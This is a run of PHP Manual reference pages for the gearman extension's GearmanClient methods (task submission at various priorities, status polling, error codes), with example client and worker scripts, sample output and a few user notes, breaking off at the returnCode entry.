public GearmanTask GearmanClient::addTaskHighBackground ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )

Adds a high priority background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a high priority will be selected from the queue before those of normal or low priority.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

context

Application context to associate with a task

unique

A unique ID used to identify a particular task

Return Values

A GearmanTask object or FALSE if the task could not be added.

See Also

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.


Add a low priority task to run in parallel

  • « GearmanClient::addTaskHighBackground
  • GearmanClient::addTaskLowBackground »
  • PHP Manual
  • GearmanClient
  • Add a low priority task to run in parallel

GearmanClient::addTaskLow

(PECL gearman >= 0.5.0)

GearmanClient::addTaskLow — Add a low priority task to run in parallel

Description

public GearmanTask GearmanClient::addTaskLow ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )

Adds a low priority background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a low priority will be selected from the queue after those of normal or low priority.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

context

Application context to associate with a task

unique

A unique ID used to identify a particular task

Return Values

A GearmanTask object or FALSE if the task could not be added.

Examples

Example #1 A low priority task along with two normal tasks

A low priority task is included among two other tasks. A single worker is available, so that tasks are run one at a time, with the low priority task run last.

<?php

# create the gearman client
$gmc= new GearmanClient();

# add the default job server
$gmc->addServer();

# set the callback for when the job is complete
$gmc->setCompleteCallback("reverse_complete");

# add tasks, one of which is low priority
$task= $gmc->addTask("reverse", "Hello World!", null, "1");
$task= $gmc->addTaskLow("reverse", "!dlroW olleH", null, "2");
$task= $gmc->addTask("reverse", "Hello World!", null, "3");

if (! $gmc->runTasks())
{
    echo "ERROR " . $gmc->error() . "\n";
    exit;
}
echo "DONE\n";

function reverse_complete($task)
{
    echo "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>

The above example will output something similar to:

COMPLETE: 3, !dlroW olleH
COMPLETE: 1, !dlroW olleH
COMPLETE: 2, Hello World!
DONE

See Also

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.


Add a low priority background task to be run in parallel

  • « GearmanClient::addTaskLow
  • GearmanClient::addTaskStatus »
  • PHP Manual
  • GearmanClient
  • Add a low priority background task to be run in parallel

GearmanClient::addTaskLowBackground

(PECL gearman >= 0.5.0)

GearmanClient::addTaskLowBackground — Add a low priority background task to be run in parallel

Description

public GearmanTask GearmanClient::addTaskLowBackground ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )

Adds a low priority background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a low priority will be selected from the queue after those of normal or high priority.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

context

Application context to associate with a task

unique

A unique ID used to identify a particular task

Return Values

A GearmanTask object or FALSE if the task could not be added.

See Also

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.


Add a task to get status

  • « GearmanClient::addTaskLowBackground
  • GearmanClient::clearCallbacks »
  • PHP Manual
  • GearmanClient
  • Add a task to get status

GearmanClient::addTaskStatus

(PECL gearman >= 0.5.0)

GearmanClient::addTaskStatus — Add a task to get status

Description

public GearmanTask GearmanClient::addTaskStatus ( string $job_handle [, string &$context ] )

Used to request status information from the Gearman server, which will call the specified status callback (set using GearmanClient::setStatusCallback()).

Parameters

job_handle

The job handle for the task to get status for

context

Data to be passed to the status callback, generally a reference to an array or object

Return Values

A GearmanTask object.

Examples

Example #1 Monitor completion of multiple background tasks

An artificial delay is introduced in the worker in this example to simulate a long running process. There is only one worker running for this example.

<?php

/* create our object */
$gmclient= new GearmanClient();

/* add the default server */
$gmclient->addServer();

/* start some background jobs and save the handles */
$handles = array();
$handles[0] = $gmclient->doBackground("reverse", "Hello World!");
$handles[1] = $gmclient->doBackground("reverse", "!dlroW olleH");

$gmclient->setStatusCallback("reverse_status");

/* Poll the server to see when those background jobs finish; */
/* a better method would be to use event callbacks */
do
{
   /* Use the context variable to track how many tasks have completed */
   $done = 0;
   $gmclient->addTaskStatus($handles[0], &$done);
   $gmclient->addTaskStatus($handles[1], &$done);
   $gmclient->runTasks();
   echo "Done: $done\n";
   sleep(1);
}
while ($done != 2);

function reverse_status($task, $done)
{
   if (!$task->isKnown())
      $done++;
}

?>

The above example will output something similar to:

Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 2

See Also

  • GearmanClient::setStatusCallback() - Set a callback for collecting task status

User Contributed Notes

There are no user contributed notes for this page.


Clear all task callback functions

  • « GearmanClient::addTaskStatus
  • GearmanClient::clone »
  • PHP Manual
  • GearmanClient
  • Clear all task callback functions

GearmanClient::clearCallbacks

(PECL gearman >= 0.5.0)

GearmanClient::clearCallbacks — Clear all task callback functions

Description

public bool GearmanClient::clearCallbacks ( void )

Clears all the task callback functions that have previously been set.

Parameters

This function has no parameters.

Return Values

Always returns TRUE.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Create a copy of a GearmanClient object

  • « GearmanClient::clearCallbacks
  • GearmanClient::__construct »
  • PHP Manual
  • GearmanClient
  • Create a copy of a GearmanClient object

GearmanClient::clone

(PECL gearman >= 0.5.0)

GearmanClient::clone — Create a copy of a GearmanClient object

Description

public GearmanClient GearmanClient::clone ( void )

Creates a copy of a GearmanClient object.

Parameters

This function has no parameters.

Return Values

A GearmanClient on success, FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Create a GearmanClient instance

  • « GearmanClient::clone
  • GearmanClient::context »
  • PHP Manual
  • GearmanClient
  • Create a GearmanClient instance

GearmanClient::__construct

(PECL gearman >= 0.5.0)

GearmanClient::__construct — Create a GearmanClient instance

Description

public GearmanClient::__construct ( void )

Creates a GearmanClient instance representing a client that connects to the job server and submits tasks to complete.

Parameters

This function has no parameters.

Return Values

A GearmanClient object.

See Also

  • GearmanClient::clone() - Create a copy of a GearmanClient object

User Contributed Notes

There are no user contributed notes for this page.


Get the application context

  • « GearmanClient::__construct
  • GearmanClient::data »
  • PHP Manual
  • GearmanClient
  • Get the application context

GearmanClient::context

(PECL gearman >= 0.6.0)

GearmanClient::context — Get the application context

Description

public string GearmanClient::context ( void )

Get the application context previously set with GearmanClient::setContext().

Parameters

This function has no parameters.

Return Values

The same context data structure set with GearmanClient::setContext()

See Also

  • GearmanClient::setContext() - Set application context

User Contributed Notes

There are no user contributed notes for this page.


Get the application data (deprecated)

  • « GearmanClient::context
  • GearmanClient::do »
  • PHP Manual
  • GearmanClient
  • Get the application data (deprecated)

GearmanClient::data

(PECL gearman <= 0.5.0)

GearmanClient::data — Get the application data (deprecated)

Description

public string GearmanClient::data ( void )

Get the application data previously set with GearmanClient::setData().

Note:

This method was replaced by GearmanClient::setContext() in the 0.6.0 release of the Gearman extension.

Parameters

This function has no parameters.

Return Values

The same string data set with GearmanClient::setData()

See Also

  • GearmanClient::setData() - Set application data (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Run a single task and return a result [deprecated]

  • « GearmanClient::data
  • GearmanClient::doBackground »
  • PHP Manual
  • GearmanClient
  • Run a single task and return a result [deprecated]

GearmanClient::do

(PECL gearman >= 0.5.0)

GearmanClient::do — Run a single task and return a result [deprecated]

Description

public string GearmanClient::do ( string $function_name , string $workload [, string $unique ] )

The GearmanClient::do() method is deprecated as of pecl/gearman 1.0.0. Use GearmanClient::doNormal().

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

unique

A unique ID used to identify a particular task

Return Values

A string representing the results of running a task.

Examples

Example #1 Simple job submission with immediate return

<?php

# Client code

echo "Starting\n";

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

$result = $gmclient->doNormal("reverse", "Hello!");

echo "Success: $result\n";

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  return strrev($job->workload());
}

?>

The above example will output something similar to:

Starting
Sending job
Success: !olleH

Example #2 Submitting a job and retrieving incremental status

A job is submitted and the script loops to retrieve status information. The worker has an artificial delay which results in a long running job and sends status and data as processing occurs. Each subsequent call to GearmanClient::do() produces status information on the running job.

<?php

# Client code

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
  $result = $gmclient->doNormal("reverse", "Hello!");
  # Check for various return packets and errors.

  switch($gmclient->returnCode())
  {
    case GEARMAN_WORK_DATA:
      echo "Data: $result\n";
      break;
    case GEARMAN_WORK_STATUS:
      list($numerator, $denominator)= $gmclient->doStatus();
      echo "Status: $numerator/$denominator complete\n";
      break;
    case GEARMAN_WORK_FAIL:
      echo "Failed\n";
      exit;
    case GEARMAN_SUCCESS:
      break;
    default:
      echo "RET: " . $gmclient->returnCode() . "\n";
      echo "Error: " . $gmclient->error() . "\n";
      echo "Errno: " . $gmclient->getErrno() . "\n";
      exit;
  }
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

echo "Success: $result\n";

?>
<?php

# Worker code

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " + $x + 1 . "/$workload_size complete\n";
    $job->sendStatus($x+1, $workload_size);
    $job->sendData(substr($workload, $x, 1));
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

?>

The above example will output something similar to:

Worker output:

Starting
Waiting for job...
Received job: H:foo.local:106
Workload: Hello! (6)
1/6 complete
2/6 complete
3/6 complete
4/6 complete
5/6 complete
6/6 complete
Result: !olleH

Client output:

Starting
Sending job
Status: 1/6 complete
Data: H
Status: 2/6 complete
Data: e
Status: 3/6 complete
Data: l
Status: 4/6 complete
Data: l
Status: 5/6 complete
Data: o
Status: 6/6 complete
Data: !
Success: !olleH

See Also

  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

Shane Harter 15-Jun-2010 08:41
Note that this isn't blocking -- that do() will return as soon as the job is accepted by the Gearman jobserver.

That lets you do..while until the return code is success or failure as you see in the examples.


Run a task in the background

  • « GearmanClient::do
  • GearmanClient::doHigh »
  • PHP Manual
  • GearmanClient
  • Run a task in the background

GearmanClient::doBackground

(PECL gearman >= 0.5.0)

GearmanClient::doBackground — Run a task in the background

Description

public string GearmanClient::doBackground ( string $function_name , string $workload [, string $unique ] )

Runs a task in the background, returning a job handle which can be used to get the status of the running task.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

unique

A unique ID used to identify a particular task

Return Values

The job handle for the submitted task.

Examples

Example #1 Submit and monitor a background job

The worker in this example has an artificial delay introduced to mimic a long running job. The client script periodically checks the status of the running job.

<?php

/* create our object */
$gmclient= new GearmanClient();

/* add the default server */
$gmclient->addServer();

/* run reverse client */
$job_handle = $gmclient->doBackground("reverse", "this is a test");

if ($gmclient->returnCode() != GEARMAN_SUCCESS)
{
  echo "bad return code\n";
  exit;
}

$done = false;
do
{
   sleep(3);
   $stat = $gmclient->jobStatus($job_handle);
   if (!$stat[0]) // the job is known so it is not done
      $done = true;
   echo "Running: " . ($stat[1] ? "true" : "false") . ", numerator: " . $stat[2] . ", denomintor: " . $stat[3] . "\n";
}
while(!$done);

echo "done!\n";

?>

The above example will output something similar to:

Running: true, numerator: 3, denomintor: 14
Running: true, numerator: 6, denomintor: 14
Running: true, numerator: 9, denomintor: 14
Running: true, numerator: 12, denomintor: 14
Running: false, numerator: 0, denomintor: 0
done!

See Also

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

There are no user contributed notes for this page.


Run a single high priority task

  • « GearmanClient::doBackground
  • GearmanClient::doHighBackground »
  • PHP Manual
  • GearmanClient
  • Run a single high priority task

GearmanClient::doHigh

(PECL gearman >= 0.5.0)

GearmanClient::doHigh — Run a single high priority task

Description

public string GearmanClient::doHigh ( string $function_name , string $workload [, string $unique ] )

Runs a single high priority task and returns a string representation of the result. It is up to the GearmanClient and GearmanWorker to agree on the format of the result. High priority tasks will get precedence over normal and low priority tasks in the job queue.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

unique

A unique ID used to identify a particular task

Return Values

A string representing the results of running a task.

See Also

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

There are no user contributed notes for this page.


Run a high priority task in the background

  • « GearmanClient::doHigh
  • GearmanClient::doJobHandle »
  • PHP Manual
  • GearmanClient
  • Run a high priority task in the background

GearmanClient::doHighBackground

(PECL gearman >= 0.5.0)

GearmanClient::doHighBackground — Run a high priority task in the background

Description

public string GearmanClient::doHighBackground ( string $function_name , string $workload [, string $unique ] )

Runs a high priority task in the background, returning a job handle which can be used to get the status of the running task. High priority tasks take precedence over normal and low priority tasks in the job queue.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

unique

A unique ID used to identify a particular task

Return Values

The job handle for the submitted task.

See Also

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

There are no user contributed notes for this page.


Get the job handle for the running task

  • « GearmanClient::doHighBackground
  • GearmanClient::doLow »
  • PHP Manual
  • GearmanClient
  • Get the job handle for the running task

GearmanClient::doJobHandle

(PECL gearman >= 0.5.0)

GearmanClient::doJobHandle — Get the job handle for the running task

Description

public string GearmanClient::doJobHandle ( void )

Gets that job handle for a running task. This should be used between repeated GearmanClient::doNormal() calls. The job handle can then be used to get information on the task.

Parameters

This function has no parameters.

Return Values

The job handle for the running task.

See Also

  • GearmanClient::jobStatus() - Get the status of a background job

User Contributed Notes

There are no user contributed notes for this page.


Run a single low priority task

  • « GearmanClient::doJobHandle
  • GearmanClient::doLowBackground »
  • PHP Manual
  • GearmanClient
  • Run a single low priority task

GearmanClient::doLow

(PECL gearman >= 0.5.0)

GearmanClient::doLow — Run a single low priority task

Description

public string GearmanClient::doLow ( string $function_name , string $workload [, string $unique ] )

Runs a single low priority task and returns a string representation of the result. It is up to the GearmanClient and GearmanWorker to agree on the format of the result. Normal and high priority tasks will get precedence over low priority tasks in the job queue.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

unique

A unique ID used to identify a particular task

Return Values

A string representing the results of running a task.

See Also

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

There are no user contributed notes for this page.


Run a low priority task in the background

  • « GearmanClient::doLow
  • GearmanClient::doNormal »
  • PHP Manual
  • GearmanClient
  • Run a low priority task in the background

GearmanClient::doLowBackground

(PECL gearman >= 0.5.0)

GearmanClient::doLowBackground — Run a low priority task in the background

Description

public string GearmanClient::doLowBackground ( string $function_name , string $workload [, string $unique ] )

Runs a low priority task in the background, returning a job handle which can be used to get the status of the running task. Normal and high priority tasks take precedence over low priority tasks in the job queue.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

unique

A unique ID used to identify a particular task

Return Values

The job handle for the submitted task.

See Also

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background

User Contributed Notes

There are no user contributed notes for this page.


Run a single task and return a result

  • « GearmanClient::doLowBackground
  • GearmanClient::doStatus »
  • PHP Manual
  • GearmanClient
  • Run a single task and return a result

GearmanClient::doNormal

(No version information available, might only be in Git)

GearmanClient::doNormal — Run a single task and return a result

Description

public string GearmanClient::doNormal ( string $function_name , string $workload [, string $unique ] )

Runs a single task and returns a string representation of the result. It is up to the GearmanClient and GearmanWorker to agree on the format of the result.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

unique

A unique ID used to identify a particular task

Return Values

A string representing the results of running a task.

Examples

Example #1 Simple job submission with immediate return

<?php

?>
<?php

# Client code

echo "Starting\n";

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

$result = $gmclient->doNormal("reverse", "Hello!");

echo "Success: $result\n";

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  return strrev($job->workload());
}

?>

The above example will output something similar to:

Starting
Sending job
Success: !olleH

Example #2 Submitting a job and retrieving incremental status

A job is submitted and the script loops to retrieve status information. The worker has an artificial delay which results in a long running job and sends status and data as processing occurs. Each subsequent call to GearmanClient::doNormal() produces status information on the running job.

<?php

# Client code

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
  $result = $gmclient->doNormal("reverse", "Hello!");
  # Check for various return packets and errors.

  switch($gmclient->returnCode())
  {
    case GEARMAN_WORK_DATA:
      echo "Data: $result\n";
      break;
    case GEARMAN_WORK_STATUS:
      list($numerator, $denominator)= $gmclient->doStatus();
      echo "Status: $numerator/$denominator complete\n";
      break;
    case GEARMAN_WORK_FAIL:
      echo "Failed\n";
      exit;
    case GEARMAN_SUCCESS:
      break;
    default:
      echo "RET: " . $gmclient->returnCode() . "\n";
      echo "Error: " . $gmclient->error() . "\n";
      echo "Errno: " . $gmclient->getErrno() . "\n";
      exit;
  }
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

echo "Success: $result\n";

?>
<?php

# Worker code

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " + $x + 1 . "/$workload_size complete\n";
    $job->sendStatus($x+1, $workload_size);
    $job->sendData(substr($workload, $x, 1));
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

?>

The above example will output something similar to:

Worker output:

Starting
Waiting for job...
Received job: H:foo.local:106
Workload: Hello! (6)
1/6 complete
2/6 complete
3/6 complete
4/6 complete
5/6 complete
6/6 complete
Result: !olleH

Client output:

Starting
Sending job
Status: 1/6 complete
Data: H
Status: 2/6 complete
Data: e
Status: 3/6 complete
Data: l
Status: 4/6 complete
Data: l
Status: 5/6 complete
Data: o
Status: 6/6 complete
Data: !
Success: !olleH

See Also

  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

fastest963 at gmail dot com 12-Jan-2013 11:19
do() or doNormal() will block until the job is accepted by the worker. Looping is only necessary if you care about the response from the job. Use setTimeout() to control how long PHP will block.

If it does timeout, it throws a PHP Warning:
PHP Warning:  GearmanClient::do(): _client_do(GEARMAN_TIMEOUT) occured during gearman_client_run_tasks() -> libgearman/client.cc:174


Get the status for the running task

  • « GearmanClient::doNormal
  • GearmanClient::echo »
  • PHP Manual
  • GearmanClient
  • Get the status for the running task

GearmanClient::doStatus

(PECL gearman >= 0.5.0)

GearmanClient::doStatus — Get the status for the running task

Description

public array GearmanClient::doStatus ( void )

Returns the status for the running task. This should be used between repeated GearmanClient::doNormal() calls.

Parameters

This function has no parameters.

Return Values

An array representing the percentage completion given as a fraction, with the first element the numerator and the second element the denomintor.

Examples

Example #1 Get the status of a long running job

The worker in this example has an artificial delay added during processing of the string to be reversed. After each delay it calls GearmanJob::status() which the client then picks up.

<?php

echo "Starting\n";

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
  $result = $gmclient->doNormal("reverse", "Hello!");

  # Check for various return packets and errors.
  switch($gmclient->returnCode())
  {
    case GEARMAN_WORK_DATA:
      break;
    case GEARMAN_WORK_STATUS:
      # get the current job status
      list($numerator, $denominator)= $gmclient->doStatus();
      echo "Status: $numerator/$denominator complete\n";
      break;
    case GEARMAN_WORK_FAIL:
      echo "Failed\n";
      exit;
    case GEARMAN_SUCCESS:
      break;
    default:
      echo "RET: " . $gmclient->returnCode() . "\n";
      exit;
  }
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

echo "Success: $result\n";

?>

The above example will output something similar to:

Starting
Sending job
Status: 1/6 complete
Status: 2/6 complete
Status: 3/6 complete
Status: 4/6 complete
Status: 5/6 complete
Status: 6/6 complete
Success: !olleH

See Also

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanJob::status() - Send status (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Send data to all job servers to see if they echo it back [deprecated]

  • « GearmanClient::doStatus
  • GearmanClient::error »
  • PHP Manual
  • GearmanClient
  • Send data to all job servers to see if they echo it back [deprecated]

GearmanClient::echo

(PECL gearman >= 0.5.0)

GearmanClient::echo — Send data to all job servers to see if they echo it back [deprecated]

Description

public bool GearmanClient::echo ( string $workload )

The GearmanClient::echo() method is deprecated as of pecl/gearman 1.0.0. Use GearmanClient::ping().

Parameters

workload

Some arbitrary serialized data to be echo back

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns an error string for the last error encountered.

  • « GearmanClient::echo
  • GearmanClient::getErrno »
  • PHP Manual
  • GearmanClient
  • Returns an error string for the last error encountered.

GearmanClient::error

(PECL gearman >= 0.5.0)

GearmanClient::error — Returns an error string for the last error encountered.

Description

public string GearmanClient::error ( void )

Returns an error string for the last error encountered.

Parameters

This function has no parameters.

Return Values

A human readable error string.

See Also

  • GearmanClient::getErrno() - Get an errno value

User Contributed Notes

There are no user contributed notes for this page.


Get an errno value

  • « GearmanClient::error
  • GearmanClient::jobStatus »
  • PHP Manual
  • GearmanClient
  • Get an errno value

GearmanClient::getErrno

(PECL gearman >= 0.5.0)

GearmanClient::getErrno — Get an errno value

Description

public int GearmanClient::getErrno ( void )

Value of errno in the case of a GEARMAN_ERRNO return value.

Parameters

This function has no parameters.

Return Values

A valid Gearman errno.

See Also

  • GearmanClient::error() - Returns an error string for the last error encountered.

User Contributed Notes

There are no user contributed notes for this page.


Get the status of a background job

  • « GearmanClient::getErrno
  • GearmanClient::ping »
  • PHP Manual
  • GearmanClient
  • Get the status of a background job

GearmanClient::jobStatus

gearman_job_status

(PECL gearman >= 0.5.0)

GearmanClient::jobStatus -- gearman_job_status — Get the status of a background job

Description

Object oriented style (method):

public array GearmanClient::jobStatus ( string $job_handle )

Gets the status for a background job given a job handle. The status information will specify whether the job is known, whether the job is currently running, and the percentage completion.

Parameters

job_handle

The job handle assigned by the Gearman server

Return Values

An array containing status information for the job corresponding to the supplied job handle. The first array element is a boolean indicating whether the job is even known, the second is a boolean indicating whether the job is still running, and the third and fourth elements correspond to the numerator and denominator of the fractional completion percentage, respectively.

Examples

Example #1 Monitor the status of a long running background job

<?php

/* create our object */
$gmclient= new GearmanClient();

/* add the default server */
$gmclient->addServer();

/* run reverse client */
$job_handle = $gmclient->doBackground("reverse", "this is a test");

if ($gmclient->returnCode() != GEARMAN_SUCCESS)
{
  echo "bad return code\n";
  exit;
}

$done = false;
do
{
   sleep(3);
   $stat = $gmclient->jobStatus($job_handle);
   if (!$stat[0]) // the job is known so it is not done
      $done = true;
   echo "Running: " . ($stat[1] ? "true" : "false") . ", numerator: " . $stat[2] . ", denomintor: " . $stat[3] . "\n";
}
while(!$done);

echo "done!\n";

?>

The above example will output something similar to:

Running: true, numerator: 3, denomintor: 14
Running: true, numerator: 6, denomintor: 14
Running: true, numerator: 9, denomintor: 14
Running: true, numerator: 12, denomintor: 14
Running: false, numerator: 0, denomintor: 0
done!

See Also

  • GearmanClient::doStatus() - Get the status for the running task

User Contributed Notes

There are no user contributed notes for this page.


Send data to all job servers to see if they echo it back

  • « GearmanClient::jobStatus
  • GearmanClient::removeOptions »
  • PHP Manual
  • GearmanClient
  • Send data to all job servers to see if they echo it back

GearmanClient::ping

(No version information available, might only be in Git)

GearmanClient::ping — Send data to all job servers to see if they echo it back

Description

public bool GearmanClient::ping ( string $workload )

Sends some arbitrary data to all job servers to see if they echo it back. The data sent is not used or processed in any other way. Primarily used for testing and debugging.

Parameters

workload

Some arbitrary serialized data to be echo back

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Remove client options

  • « GearmanClient::ping
  • GearmanClient::returnCode »
  • PHP Manual
  • GearmanClient
  • Remove client options

GearmanClient::removeOptions

(PECL gearman >= 0.6.0)

GearmanClient::removeOptions — Remove client options

Description

public bool GearmanClient::removeOptions ( int $options )

Removes (unsets) one or more options.

Parameters

options

The options to be removed (unset)

Return Values

Always returns TRUE.

User Contributed Notes

goran dot v dot miskovic at gmail dot com 08-Sep-2012 06:15
To remove several options at once use pipe separated list.
<?php
$client = new GearmanClient();
$client->addOptions(GEARMAN_CLIENT_NON_BLOCKING | GEARMAN_CLIENT_FREE_TASKS | GEARMAN_CLIENT_UNBUFFERED_RESULT);
$client->removeOptions(GEARMAN_CLIENT_NON_BLOCKING | GEARMAN_CLIENT_FREE_TASKS);
?>


Get the last Gearman return code

  • « GearmanClient::removeOptions
  • GearmanClient::runTasks »
  • PHP Manual
  • GearmanClient
  • Get the last Gearman return code

GearmanClient::returnCode

(PECL gearman >= 0.5.0)

GearmanClient::returnCode — Get the last Gearman return code

Description

